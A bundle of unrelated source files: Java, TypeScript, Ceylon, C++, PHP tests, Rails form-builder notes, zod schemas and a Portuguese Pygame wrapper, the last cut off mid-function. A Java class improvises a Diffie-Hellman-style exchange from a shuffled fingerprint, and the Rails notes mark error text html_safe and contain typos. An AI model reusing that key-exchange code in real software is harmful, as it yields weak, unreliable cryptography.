* @return the absolute minimum x-coordinate of the extent, whether it is positive or negative.
*/
public int minX() {
return Math.min(negLeft, posLeft);
}
/**
* @return the absolute maximum x-coordinate of the extent, whether it is positive or negative.
*/
public int maxX() {
return Math.max(negRight, posRight);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Extent extent = (Extent) o;
return top == extent.top
&& bottom == extent.bottom
&& negLeft == extent.negLeft
&& negRight == extent.negRight
&& posLeft == extent.posLeft
&& posRight == extent.posRight;
}
@Override
public int hashCode() {
return Objects.hash(top, bottom, negLeft, negRight, posLeft, posRight);
}
@Override
public String toString() {
StringBuilder builder = new StringBuilder("[");
builder.append("top = " + top + ", ");
builder.append("bottom = " + bottom + ", ");
builder.append("negLeft = " + negLeft + ", ");
builder.append("negRight = " + negRight + ", ");
builder.append("posLeft = " + posLeft + ", ");
builder.append("posRight = " + posRight + "]");
return builder.toString();
}
} |
import { TAX_BRACKET } from "../../config/config"
import { env } from "../../env"
import { Order } from "../../types/trades"
import { ViewDefinition, GeneratedView } from "../../types/views"
import { getPriceBySymbol, getDatePlus3y, getDateDiffDisplay, getDateDiff } from "../../utils"
type View = {
symbol: string
since: string // open order date
finished: string // open order + 3y
remains: string // open order + 3y - today
quantity: number
basisPrice: number
basis: number
mtmPrice: number
mtmValue: number
unrlzd: number
tax: number
}
const getTimetest = (o: Order): View => {
const mtmPrice = getPriceBySymbol(o.symbol)
const q = o.quantity - o.filled
const m = q / o.quantity
const mtmValue = mtmPrice * q
const unrlzd = mtmPrice * q - o.basis * m
const tax = unrlzd * TAX_BRACKET
return {
symbol: o.symbol,
since: o.datetime.toLocaleDateString(),
finished: getDatePlus3y(o.datetime).toLocaleDateString(),
remains: getDateDiffDisplay(new Date(), getDatePlus3y(o.datetime)),
quantity: q,
basisPrice: o.tprice,
basis: o.basis * m,
mtmPrice: mtmPrice,
mtmValue: mtmValue,
unrlzd: unrlzd,
tax: tax,
}
}
function upcomingTimetestsView(): GeneratedView<View>[] {
const orderSlice = env.data.orders.filter((o) => o.quantity !== o.filled)
orderSlice.sort((a, b) => getDateDiff(b.datetime, a.datetime))
const timetests: View[] = []
for (const o of orderSlice) {
timetests.push(getTimetest(o))
}
return [
{
title: "",
table: timetests,
},
]
}
const viewDefinition: ViewDefinition<View> = {
name: "Upcoming Timetests",
command: "u",
generateView: upcomingTimetestsView,
description: {
table: "open positions (total)",
row: "unfilled orders, sorted by date",
notes: ["values proportional to the unfilled part."],
},
screenplay: {
nextTableMessage: "for next symbol",
},
}
export default viewDefinition |
"A wrapper class that exposes any [[Set]] as unmodifiable,
hiding the underlying `Set` implementation from clients,
and preventing attempts to narrow to [[MutableSet]]."
by ("Gavin King")
serializable class UnmodifiableSet<out Element>(Set<Element> set)
satisfies Set<Element>
given Element satisfies Object {
iterator() => set.iterator();
size => set.size;
contains(Object element) => element in set;
shared actual Set<Element> complement<Other>(Set<Other> set)
given Other satisfies Object
=> this.set.complement(set);
shared actual Set<Element|Other> exclusiveUnion<Other>(Set<Other> set)
given Other satisfies Object
=> this.set.exclusiveUnion(set);
shared actual Set<Element&Other> intersection<Other>(Set<Other> set)
given Other satisfies Object
=> this.set.intersection(set);
shared actual Set<Element|Other> union<Other>(Set<Other> set)
given Other satisfies Object
=> this.set.union(set);
superset(Set<Object> set) => this.set.superset(set);
subset(Set<Object> set) => this.set.subset(set);
equals(Object that) => set==that;
hash => set.hash;
clone() => UnmodifiableSet(set.clone());
each(void step(Element element)) => set.each(step);
}
"Wrap the given [[Set]], preventing attempts to narrow the
returned `Set` to [[MutableSet]]."
shared Set<Element> unmodifiableSet<Element>(Set<Element> set)
given Element satisfies Object
=> UnmodifiableSet(set); |
#ifndef _XMLWRITER_H_
#define _XMLWRITER_H_
#include <string>
#include <vector>
#include <memory>
#include <ostream>
namespace luteconv
{
/**
* An XML attribute
*/
class XMLAttrib
{
public:
/**
* Constructor
*
* @param[in] name
* @param[in] value
*/
XMLAttrib(const char* name, const char* value);
/**
* Constructor
*
* @param[in] name
* @param[in] value
*/
XMLAttrib(const char* name, int value);
/**
* Destructor
*/
~XMLAttrib() = default;
/**
* Print
*
* @param[in] s - stream
*/
void Print(std::ostream& s) const;
private:
std::string m_name;
std::string m_value;
};
/**
* Baseclass
*/
class XMLObject
{
public:
/**
* Destructor
*/
virtual ~XMLObject() = default;
/**
* Print
*
* @param[in] s - stream
* @param[in] level - indendation level
*/
virtual void Print(std::ostream& s, int level) const = 0;
/**
* Is this content?
*
* @return true <=> content
*/
virtual bool IsContent() const
{
return false;
}
protected:
/**
* Constructor
*/
XMLObject() = default;
};
/**
* Content
*/
class XMLContent: public XMLObject
{
public:
/**
* Constructor
*
* @param[in] value
*/
explicit XMLContent(const char* value);
/**
* Constructor
*
* @param[in] value
*/
explicit XMLContent(int value);
/**
* Destructor
*/
~XMLContent() = default;
/**
* Print
*
* @param[in] s - stream
* @param[in] level - indendation level
*/
void Print(std::ostream& s, int level) const override;
/**
* Is this content?
*
* @return true <=> content
*/
bool IsContent() const override
{
return true;
}
private:
std::string m_content;
};
/**
* Comment
*/
class XMLComment: public XMLObject
{
public:
/**
* Constructor
*
* @param[in] comment
*/
explicit XMLComment(const char* comment);
/**
* Destructor
*/
~XMLComment() = default;
/**
* Print
*
* @param[in] s - stream
* @param[in] level - indendation level
*/
void Print(std::ostream& s, int level) const override;
private:
std::string m_comment;
};
/**
* An element
*/
class XMLElement: public XMLObject
{
public:
/**
* Constructor
*
* @param[in] name
*/
explicit XMLElement(const char* name);
/**
* Constructor with content
*
* @param[in] name
* @param[in] content
*/
XMLElement(const char* name, const char* content);
/**
* Constructor with content
*
* @param[in] name
* @param[in] content
*/
XMLElement(const char* name, int content);
/**
* Destructor
*/
~XMLElement() override;
/**
* Add child
*
* @param[in] child
*/
void Add(XMLObject* child);
/**
* Add an attribute
*
* @param[in] name
* @param[in] value
*/
void AddAttrib(const char* name, const char* value);
/**
* Add an attribute
*
* @param[in] name
* @param[in] value
*/
void AddAttrib(const char* name, int value);
/**
* Add a comment
*
* @param[in] comment
*/
void AddComment(const char* comment);
/**
* Add content
*
* @param[in] content
*/
void AddContent(const char* content);
/**
* Print
*
* @param[in] s - stream
* @param[in] level - indendation level
*/
void Print(std::ostream& s, int level) const override;
private:
std::string m_name;
std::vector<XMLAttrib> m_attribs;
std::vector<XMLObject*> m_children;
};
/**
* Very simple XML writer
*/
class XMLWriter
{
public:
/**
* Constructor
*/
XMLWriter() = default;
/**
* Destructor
*/
~XMLWriter() = default;
/**
* DOCTYPE
*
* @param[in] doctype
*/
void AddDoctype(const char* doctype);
/**
* Set the root element
*
* @param[in] root
*/
void SetRoot(XMLElement* root);
/**
* Get the root element
*
* @return root
*/
XMLElement* Root() const;
/**
* Add XML escapes as necessary
*
* @param[in] text - non-escaped text
* @return escaped text
*/
static std::string Escape(const char* text);
/**
* Indent size
*/
static const int indent = 4; // spaces
/**
* Stream output XMLWriter
*/
friend std::ostream& operator<<(std::ostream& s, const XMLWriter& xmlwriter);
private:
std::string m_doctype;
std::unique_ptr<XMLElement> m_root;
};
} // namespace luteconv
#endif // _XMLWRITER_H_ |
<?php
declare(strict_types=1);
namespace Modules\Expense\Tests\Feature\Application\Http\Controllers\Api\V1\ExpenseController;
use Modules\User\Domain\Models\User;
use Modules\User\Domain\Models\UserVehicle;
use Tests\TestCase;
class Create
{
public function testMissingRequiredFields(): void
{
$user = User::factory()->create();
$response = $this->actingAs($user)->json('POST', '/api/v1/expenses', []);
$response->assertStatus(422)
->assertJsonValidationErrors([
'user_id', 'user_vehicle_id', 'expense_category_id', 'amount', 'millage'
]);
}
public function testInvalidDataTypes(): void
{
$user = User::factory()->create();
$invalidData = [
'user_id' => 'st',
'user_vehicle_id' => 'string',
'expense_category_id' => 'string',
'amount' => 'string',
'millage' => 'string',
];
$response = $this->actingAs($user)->json('POST', '/api/v1/expenses', $invalidData);
$response->assertStatus(422)
->assertJsonValidationErrors([
'user_id', 'user_vehicle_id', 'expense_category_id', 'amount', 'millage'
]);
}
public function testNonExistingUser(): void
{
$user = User::factory()->create();
$nonExistingUserId = 9999; // Предположим, что такого пользователя нет
$invalidData = [
'user_id' => $nonExistingUserId,
'user_vehicle_id' => 1, // Допустим, что это существующее транспортное средство пользователя
'expense_category_id' => 1, // Допустим, что это существующая категория траты
'amount' => 100.5,
'millage' => 50000,
];
$response = $this->actingAs($user)->json('POST', '/api/v1/expenses', $invalidData);
$response->assertStatus(422)
->assertJsonValidationErrors(['user_id']);
}
public function testInvalidDateFormats(): void
{
$user = User::factory()->create();
$invalidData = [
'user_id' => $user->id,
'user_vehicle_id' => 1, // Допустим, что это существующее транспортное средство пользователя
'expense_category_id' => 1, // Допустим, что это существующая категория траты
'amount' => 100.5,
'millage' => 50000,
'scheduled_maintenance_at' => 'invalid-date-format', // Некорректный формат даты
'completed_maintenance_at' => '2022-13-01', // Некорректная дата
];
$response = $this->actingAs($user)->json('POST', '/api/v1/expenses', $invalidData);
$response->assertStatus(422)
->assertJsonValidationErrors(['scheduled_maintenance_at', 'completed_maintenance_at']);
}
public function testNegativeValues(): void
{
$user = User::factory()->create();
$userVehicle = UserVehicle::factory()->create(['user_id' => $user->id]);
$invalidData = [
'user_id' => $user->id,
'user_vehicle_id' => $userVehicle->id,
'expense_category_id' => 1, // Допустим, что это существующая категория траты
'amount' => -100.5, // Отрицательная сумма
'millage' => -50000, // Отрицательный пробег
];
$response = $this->actingAs($user)->json('POST', '/api/v1/expenses', $invalidData);
$response->assertStatus(422)
->assertJsonValidationErrors(['amount', 'millage']);
}
} |
new.html.haml
%section.new_todo
%h3 Add a new todo
= form_for @todo do |f|
= f.label :name, "Name"
= f.text_field :name
= f.label :description, rows: 6
%br
= f.submit "Add This Todo"
The issue with this code above this that it is not pulling in the
errors - but rather than errors on the object (bc we would have to do that for
every form), lets create helper called MyFormBuilder
____________________________________________
class MyFormBuilder < ActionView::Helpers::FormBuilder
def label(method, text = nil, options = {}, &block)
errors = object.errors[method.to_sym]
if errors
text += " <span class =\"error">#{errors.first}</span>"
end
super(method, text.html_safe, options, &block)
end
end
___ Update new.html.haml
application_helper.rb
%section.new_todo
%h3 Add a new todo
= form_for @todo, builder: MyFormBuilder do |f|
= f.label :name, "Name"
= f.text_field :name
= f.label :description, rows: 6
%br
= f.submit "Add This Todo"
_____To refactor: we can manually merge in the my_form_for rather passing in the
MyFormBuilder
app/helpers/my_form_builder.rb
module ApplicationHelper
def my_form_for(record, options = {}, &proc)
form_for(record, options.merge!({builder: MyFormBuidler}), &proc)
end
end
___Update the new.html.haml
%section.new_todo
%h3 Add a new todo
= my_form_for @todo do |f|
= f.label :name, "Name"
= f.text_field :name
= f.label :description, rows: 6
%br
= f.submit "Add This Todo"
___________________________
Custom Form Builders in The Wild!
1. Formtastic
You can use semantic form_for
2. Simple_form (creators of devise)
- allows integration with Twitter Bootstrap & Zurb Foundation 3
- is not best for those with alot of customization
- has default mapping - which is not the best for complex forms
3. BootstapForm
- minimal dsl
- similar flow/syntax to Rails |
package org.example.approach2;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutionException;
public class Participant {
private CompletableFuture<BigInteger> px;
private BigInteger x;
private String fingerprint;
private BigInteger pCandidate;
private CompletableFuture<BigInteger> X;
private CompletableFuture<BigInteger> s;
private String name;
private int base = 16;
public Participant(String name, String fingerprint) {
long start = System.currentTimeMillis();
this.name = name;
this.px = new CompletableFuture<>();
this.fingerprint = fingerprint;
this.generateBitStrings();
this.X = new CompletableFuture<>();
this.s = new CompletableFuture<>(); // secret
System.out.println("[x time] " + (System.currentTimeMillis() - start) + " ms");
}
public Participant(String name, String fingerprint, int base) {
this(name, fingerprint);
this.base = base;
}
public Thread calculateCandidateP() {
Thread t = new Thread(() -> {
long start = System.currentTimeMillis();
BigInteger result = generatePCandidate();
px.complete(result);
System.out.println(this.name + "'s px:\t" + result.toString(this.base));
System.out.println("[px time] " + (System.currentTimeMillis() - start) + " ms");
});
t.start();
return t;
}
public Thread calculatePublicKey (BigInteger g, BigInteger p) {
Thread t = new Thread(() -> {
long start = System.currentTimeMillis();
BigInteger result = g.modPow(this.x, p);
System.out.println(this.name + "'s X:\t" + result.toString(this.base));
X.complete(result);
System.out.println("[X time] " + (System.currentTimeMillis() - start) + " ms");
});
t.start();
return t;
}
public Thread calculateSharedSecret (BigInteger otherPublicKey, BigInteger p) {
Thread t = new Thread(() -> {
long start = System.currentTimeMillis();
BigInteger result = otherPublicKey.modPow(this.x, p);
System.out.println(this.name + "'s s:\t" + result.toString(this.base));
s.complete(result);
System.out.println("[s time] " + (System.currentTimeMillis() - start) + " ms");
});
t.start();
return t;
}
public BigInteger getPx() throws ExecutionException, InterruptedException {
return this.px.get();
}
public BigInteger getPublicKey() throws ExecutionException, InterruptedException {
return this.X.get();
}
public BigInteger getSharedSecret() throws ExecutionException, InterruptedException {
return this.s.get();
}
private void generateBitStrings() {
// Split and shuffle the chunks
String[] parts = this.fingerprint.split("(?<=\\G.{8})");
String[] part1;
String[] part2;
do {
List<String> chunks = Arrays.asList(parts);
Collections.shuffle(chunks);
chunks.toArray(parts);
part1 = Arrays.copyOfRange(parts, 0, 64);
part2 = Arrays.copyOfRange(parts, 65, 128);
} while (part1[0].startsWith("0") || part2[0].startsWith("0"));
String b1 = String.join("", part1);
String b2 = String.join("", part2);
System.out.println(b1);
System.out.println(b2);
// Select private key (smaller integer)
BigInteger p1 = new BigInteger(b1, this.base);
BigInteger p2 = new BigInteger(b2, this.base);
if (p1.compareTo(p2) > 0) {
this.x = p2;
this.pCandidate = p1;
} else {
this.x = p1;
this.pCandidate = p2;
}
}
private BigInteger generatePCandidate() {
if (this.pCandidate.isProbablePrime(100)) {
return pCandidate;
}
return pCandidate.nextProbablePrime();
}
} |
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* RobotomyRequestForm.hpp :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: ladawi <ladawi@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2022/04/13 18:27:04 by ladawi #+# #+# */
/* Updated: 2022/04/14 22:35:54 by ladawi ### ########.fr */
/* */
/* ************************************************************************** */
#include <string>
#include <iostream>
#include <stdexcept>
#include "AForm.hpp"
// #include "Bureaucrat.hpp"
#ifndef ROBOTOMYREQUESTFORM_H
# define ROBOTOMYREQUESTFORM_H
class RobotomyRequestForm : public AForm {
public:
RobotomyRequestForm(void);
RobotomyRequestForm(RobotomyRequestForm const &);
RobotomyRequestForm(std::string target);
RobotomyRequestForm& operator=(RobotomyRequestForm const &);
~RobotomyRequestForm(void);
class GradeRequiredErrorException : public std::exception
{
public:
virtual const char* what() const throw()
{
return("Executor don't have the required Grade : GradeRequiredErrorException");
}
};
class FormNotSignedException : public std::exception
{
public:
virtual const char* what() const throw()
{
return("Executed Form is not signed : FormNotSignedException");
}
};
std::string getTarget(void) const;
virtual void execute(Bureaucrat &executor) const;
private:
std::string const _Target;
};
#endif |
import { BloodGroup, DayOff, Gender } from '@prisma/client';
import { z } from 'zod';
const createSpecialist = z.object({
body: z.object({
name: z.string({ required_error: 'Name is Required!' }),
email: z.string({ required_error: 'Email is Required!' }),
password: z.string({ required_error: 'Password is Required!' }),
phone_number: z.string({ required_error: 'Phone Number is Required!' }),
profile_image: z.string({ required_error: 'Profile Image is Required!' }),
gender: z.enum([...Object.values(Gender)] as [string, ...string[]], {
required_error: 'Gender is Required!',
}),
blood_group: z.enum(
[...Object.values(BloodGroup)] as [string, ...string[]],
{ required_error: 'Blood Group is Required!' }
),
startTime: z.string({ required_error: 'Start Time is Required!' }),
endTime: z.string({ required_error: 'End Time is Required!' }),
degrees: z.array(z.string({ required_error: 'Degree is Required' }), {
required_error: 'Degrees are Required!',
}),
dayOff: z.enum([...Object.values(DayOff)] as [string, ...string[]], {
required_error: 'Dayoff/Weekend is Required!',
}),
}),
});
const updateSpecialist = z.object({
body: z.object({
name: z.string().optional(),
email: z.string().optional(),
password: z.string().optional(),
phone_number: z.string().optional(),
profile_image: z.string().optional(),
gender: z
.enum([...Object.values(Gender)] as [string, ...string[]])
.optional(),
blood_group: z
.enum([...Object.values(BloodGroup)] as [string, ...string[]])
.optional(),
startTime: z.string().optional(),
endTime: z.string().optional(),
degrees: z.array(z.string()).optional(),
dayOff: z
.enum([...Object.values(DayOff)] as [string, ...string[]])
.optional(),
}),
});
export const SpecialistValidation = {
createSpecialist,
updateSpecialist,
}; |
#
# Copyright 2024 José Falero <jzfalero@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
#
"""
Desenvolvimento fácil e rápido de jogos 2D simples.
Este módulo provê objetos e classes de altíssimo nível projetados para o
desenvolvimento fácil e rápido de jogos 2D simples. É baseado em Pygame, porém
muito mais pythônico e fácil de entender e usar.
Aqui estão todos os recursos disponíveis descritos brevemente:
hobby.ticker ---- objeto representando o relógio interno.
hobby.window ---- objeto representando a janela.
hobby.screen ---- objeto representando a tela.
hobby.camera ---- objeto representando a câmera.
hobby.keyboard -- objeto representando o teclado.
hobby.mouse ----- objeto representando o mouse.
hobby.joysticks - tupla de objetos representando joysticks.
hobby.Sound ----- classe de objetos para representar sons.
hobby.Image ----- classe de objetos para representar imagens.
hobby.Animation - classe de objetos para representar animações.
hobby.TileMap --- classe de objetos para representar mapas de ladrilhos.
hobby.Error ----- classe de erros específicos do Hobby.
Consute as docstrings dos objetos e das classes para mais detalhes.
"""
__version__ = '1.0.0'
__author__ = 'José Falero <jzfalero@gmail.com>'
__all__ = ('ticker', 'window', 'screen', 'camera', 'keyboard', 'mouse',
'joysticks', 'Sound', 'Image', 'Animation', 'TileMap', 'Error')
import os
import sys
import types
import random
os.environ['SDL_VIDEO_CENTERED'] = '1'
os.environ['SDL_JOYSTICK_ALLOW_BACKGROUND_EVENTS'] = '1'
os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'
os.environ['PYGAME_BLEND_ALPHA_SDL2'] = '1'
os.environ['PYGAME_FREETYPE'] = '1'
import pygame
if ((pygame.version.vernum[0] < 2) or
(pygame.version.vernum[1] < 5) or
(pygame.version.vernum[2] < 2)):
raise RuntimeError(f'a versão do Pygame disponível é {pygame.version.ver}, '
'mas o Hobby exige a versão 2.5.2 ou superior')
pygame.display.init()
pygame.joystick.init()
pygame.font.init()
pygame.mixer.init(buffer = 1)
pygame.mixer.set_num_channels(0)
pygame.event.set_blocked(None)
pygame.event.set_allowed((pygame.QUIT, pygame.WINDOWRESIZED, pygame.MOUSEWHEEL))
def _assert_str(name, candidate):
"""
Propaga TypeError se "candidate" não for uma string.
"""
if not isinstance(candidate, str):
raise TypeError(f'"{name}" precisa ser uma string')
def _assert_str_none(name, candidate):
"""
Propaga TypeError se "candidate" não for uma string ou None.
"""
if (candidate is not None) and (not isinstance(candidate, str)):
raise TypeError(f'"{name}" precisa ser uma string ou None')
def _assert_int(name, candidate):
"""
Propaga TypeError se "candidate" não for um inteiro.
"""
if not isinstance(candidate, int):
raise TypeError(f'"{name}" precisa ser um inteiro')
def _assert_callable(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto chamável.
"""
if not callable(candidate):
raise TypeError(f'"{name}" precisa ser um objeto chamável')
def _assert_callable_none(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto chamável ou None.
"""
if (candidate is not None) and (not callable(candidate)):
raise TypeError(f'"{name}" precisa ser um objeto chamável ou None')
def _assert_float(name, candidate):
"""
Propaga TypeError se "candidate" não for um float.
"""
if not isinstance(candidate, float):
raise TypeError(f'"{name}" precisa ser um float')
def _assert_float_bool(name, candidate):
"""
Propaga TypeError se "candidate" não for um float ou um bool.
"""
if not isinstance(candidate, (float, bool)):
raise TypeError(f'"{name}" precisa ser True, False ou um float')
def _assert_tuple(name, candidate):
"""
Propaga TypeError se "candidate" não for uma tupla.
"""
if not isinstance(candidate, tuple):
raise TypeError(f'"{name}" precisa ser uma tupla')
def _assert_bool(name, candidate):
"""
Propaga TypeError se "candidate" não for True ou False.
"""
if not isinstance(candidate, bool):
raise TypeError(f'"{name}" precisa ser True ou False')
def _assert_image(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto Image.
"""
if not isinstance(candidate, Image):
raise TypeError(f'"{name}" precisa ser um objeto Image')
def _assert_image_none(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto Image ou None.
"""
if (candidate is not None) and (not isinstance(candidate, Image)):
raise TypeError(f'"{name}" precisa ser um objeto Image ou None')
def _assert_graphic(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto _Graphic.
"""
if not isinstance(candidate, _Graphic):
raise TypeError(f'"{name}" precisa ser um objeto gráfico')
def _assert_graphic_none(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto _Graphic ou None.
"""
if (candidate is not None) and not isinstance(candidate, _Graphic):
raise TypeError(f'"{name}" precisa ser um objeto gráfico ou None')
def _assert_positional(name, candidate):
"""
Propaga TypeError se "candidate" não for um objeto _Positional.
"""
if not isinstance(candidate, _Positional):
raise TypeError(f'"{name}" precisa ser um objeto posicional')
def _assert_gr_0(name, candidate):
"""
Propaga ValueError se "candidate" não for maior que 0.
"""
if candidate <= 0:
raise ValueError(f'"{name}" precisa ser maior que 0')
def _assert_gr_eq_0(name, candidate):
"""
Propaga ValueError se "candidate" não for maior ou igual a 0.
"""
if candidate < 0:
raise ValueError(f'"{name}" precisa ser maior ou igual a 0')
def _assert_gr_eq_1(name, candidate):
"""
Propaga ValueError se "candidate" não for maior ou igual a 1.
"""
if candidate < 1:
raise ValueError(f'"{name}" precisa ser maior ou igual a 1')
def _assert_len_2(name, candidate):
"""
Propaga ValueError se "candidate" tiver um número de itens diferente de 2.
"""
if len(candidate) != 2:
raise ValueError(f'"{name}" precisa ter 2 itens')
def _assert_len_4(name, candidate):
"""
Propaga ValueError se "candidate" tiver um número de itens diferente de 4.
"""
if len(candidate) != 4:
raise ValueError(f'"{name}" precisa ter 4 itens')
def _assert_all_same_len(name, candidate):
"""
Propaga ValueError se os itens de "candidate" tiverem comprimentos
diferentes.
"""
length = len(candidate[0])
if any([len(item) != length for item in candidate[1:]]):
raise ValueError(f'todos os itens de "{name}" precisam ter o mesmo '
'comprimento')
def _assert_ne_str(name, candidate):
"""
Propaga ValueError se "candidate" for uma string vazia.
"""
if not candidate:
raise ValueError(f'"{name}" não pode ser uma string vazia')
def _assert_ne_tuple(name, candidate):
"""
Propaga ValueError se "candidate" for uma tupla vazia.
"""
if not candidate:
raise ValueError(f'"{name}" não pode ser uma tupla vazia')
def _assert_ns_str(name, candidate):
"""
Propaga ValueError se "candidate" for uma string de espaços em branco.
"""
if candidate.isspace():
raise ValueError(f'"{name}" não pode ser uma string de espaços em '
'branco')
def _assert_ns_str_none(name, candidate):
"""
Propaga ValueError se "candidate" não for None e for uma string de espaços
em branco.
"""
if (candidate is not None) and candidate.isspace():
raise ValueError(f'"{name}" não pode ser uma string de espaços em '
'branco')
def _assert_ne_str_none(name, candidate):
"""
Propaga ValueError se "candidate" não for None e for uma string vazia.
"""
if (candidate is not None) and (not candidate):
raise ValueError(f'"{name}" não pode ser uma string vazia')
def _assert_vld_algn(candidate):
"""
Propaga ValueError se "candidate" for um alinhamento inválido.
"""
if candidate not in _TEXT_ALIGNMENTS:
raise ValueError(f'"{candidate}" não é um alinhamento válido')
def _assert_vld_sym(device, candidate):
"""
Propaga ValueError se "candidate" não for um símbolo válido para "device".
"""
if candidate not in device._symbols:
if device is keyboard:
raise ValueError(f'"{candidate}" não é um símbolo válido para o '
'teclado')
if device is mouse:
raise ValueError(f'"{candidate}" não é um símbolo válido para o '
'mouse')
raise ValueError(f'"{candidate}" não é um símbolo válido para o '
f'joystick "{device._name}"')
def _assert_vld_timer_id(candidate):
"""
Propaga ValueError se "candidate" for um identificador de temporizador
inválido.
"""
if candidate not in ticker._timers:
raise ValueError(f'nenhum temporizador com a identificação {candidate}')
def _assert_vld_anchor(candidate):
"""
Propaga ValueError se "candidate" for uma âncora inválida.
"""
if candidate not in _ANIMATION_ANCHORS:
raise ValueError(f'"{candidate}" não é uma âncora válida')
def _assert_vld_blend(candidate):
"""
Propaga ValueError se "candidate" for um método de mistura inválido.
"""
if candidate not in _GRAPHIC_BLENDS:
raise ValueError(f'"{candidate}" não é um método de mistura válido')
def _assert_le_anim_len(anim_len, candidate):
"""
Propaga ValueError se "candidate" for um índice maior ou igual ao
comprimento da animação.
"""
if candidate >= anim_len:
raise ValueError('índice fora da faixa de quadros da animação: '
f'{candidate}')
def _assert_le_graphics_len(graphics_len, candidate):
"""
Propaga ValueError se "candidate" for um índice maior ou igual ao
comprimento da tupla de gráficos.
"""
if candidate >= graphics_len:
raise ValueError('índice fora da faixa da tupla de objetos gráficos: '
f'{candidate}')
def _assert_exists(candidate):
"""
Propaga FileNotFoundError se "candidate" for um caminho de arquivo ou
diretório inexistente.
"""
if not os.path.exists(candidate):
raise FileNotFoundError(f'o arquivo ou diretório "{candidate}" não '
'existe')
def _assert_exists_none(candidate):
"""
Propaga FileNotFoundError se "candidate" não for None e for um caminho de
arquivo ou diretório inexistente.
"""
if (candidate is not None) and (not os.path.exists(candidate)):
raise FileNotFoundError(f'o arquivo ou diretório "{candidate}" não '
'existe')
def _assert_file(candidate):
"""
Propaga IsADirectoryError se "candidate" for um caminho de diretório.
"""
if os.path.isdir(candidate):
raise IsADirectoryError(f'"{candidate}" é um diretório')
def _assert_file_none(candidate):
"""
Propaga IsADirectoryError se "candidate" não for None e for um caminho de
diretório.
"""
if (candidate is not None) and os.path.isdir(candidate):
raise IsADirectoryError(f'"{candidate}" é um diretório')
def _assert_dir(candidate):
"""
Propaga NotADirectoryError se "candidate" não for um caminho de diretório.
"""
if not os.path.isdir(candidate):
raise NotADirectoryError(f'"{candidate}" não é um diretório')
def _load_surf(path):
"""
Carrega um arquivo de imagem como um objeto Surface.
"""
try:
surface = pygame.image.load(path)
except Exception as exc:
raise Error(f'impossível carregar o arquivo "{path}"') from exc
# Surfaces criadas diretamente na memória já têm o formato de pixel mais
# rápido para blitting. O código abaixo tem o mesmo efeito de chamar o
# método Surface.convert_alpha(), com a vantagem de não precisarmos esperar
# a tela ser criada.
size = surface.get_size()
surf = pygame.Surface(size, pygame.SRCALPHA)
surf.blit(surface, (0, 0))
return surf
def _load_surfs(path):
"""
Carrega vários arquivos de imagem como objetos Surface.
"""
names = os.listdir(path)
if not names:
raise Error(f'o diretório "{path}" está vazio')
names.sort()
surfs = []
for name in names:
full_path = os.path.join(path, name)
surf = _load_surf(full_path)
surfs.append(surf)
return tuple(surfs)
def _make_surf(width, height):
"""
Cria um novo objeto Surface preenchido com branco sólido (o padrão para
novas imagens).
"""
surf = pygame.Surface((width, height), pygame.SRCALPHA)
surf.fill((255, 255, 255, 255))
return surf
def _render_text(text, font, size, alignment):
"""
Cria um novo objeto Surface a partir de texto.
"""
lines = text.split('\n')
lines = [font.render(line, True, (255, 255, 255)) for line in lines]
lines = [line.subsurface(line.get_bounding_rect()) for line in lines]
linesize = font.get_linesize()
height = len(lines) * linesize
width = max([line.get_width() for line in lines])
surf = pygame.Surface((width, height), pygame.SRCALPHA)
kwargs = {'top': 0}
if alignment == 'left':
kwargs['left'] = 0
elif alignment == 'center':
kwargs['centerx'] = width // 2
else:
kwargs['right'] = width
for line in lines:
rect = line.get_rect(**kwargs)
surf.blit(line, rect)
kwargs['top'] += linesize
surf = surf.subsurface(surf.get_bounding_rect())
# Não podemos permitir Surfaces com largura == 0 ou altura == 0.
if (not surf.get_width()) or (not surf.get_height()):
surf = _make_surf(1, 1)
return surf
def _load_font(path, size):
"""
Carrega um arquivo de fonte.
"""
key = (path, size)
font = _FONTS.get(key, None)
if font is None:
try:
font = pygame.font.Font(path, size)
except Exception as exc:
raise Error(f'impossível carregar o arquivo "{path}"') from exc
_FONTS[key] = font
return font
def _load_matrix(path):
"""
Carrega um arquivo de matriz de inteiros.
"""
try:
with open(path, 'r') as file:
lines = file.readlines()
lines = [line.split(' ') for line in lines]
matrix = []
for line in lines:
row = []
for index in line:
index = int(index)
row.append(index)
row = tuple(row)
matrix.append(row)
matrix = tuple(matrix)
return matrix
except Exception as exc:
raise Error(f'impossível carregar o arquivo "{path}"') from exc
def _load_sound(path):
"""
Carrega um arquivo de som.
"""
try:
sound = pygame.mixer.Sound(path)
except Exception as exc:
raise Error(f'impossível carregar o arquivo "{path}"') from exc
if _SOUND_CHANNELS:
channel = _SOUND_CHANNELS.pop()
else:
index = pygame.mixer.get_num_channels()
pygame.mixer.set_num_channels(index + 1)
channel = pygame.mixer.Channel(index)
return (sound, channel)
def _round_float_0_1(value):
"""
Arredonda um float para 0.0, se for menor que 0.0, ou para 1.0, se for maior
que 1.0.
"""
if value < 0.0:
value = 0.0
elif value > 1.0:
value = 1.0
return value
def _round_float_ep(value):
"""
Arredonda um float para "sys.float_info.epsilon", se for menor que
"sys.float_info.epsilon".
"""
if value < sys.float_info.epsilon:
value = sys.float_info.epsilon
return value
def _make_sub_color(red, green, blue, alpha):
"""
Cria e retorna uma cor de subtração adequada para os níveis de cor
fornecidos.
"""
red = int(255 * (1.0 - red))
green = int(255 * (1.0 - green))
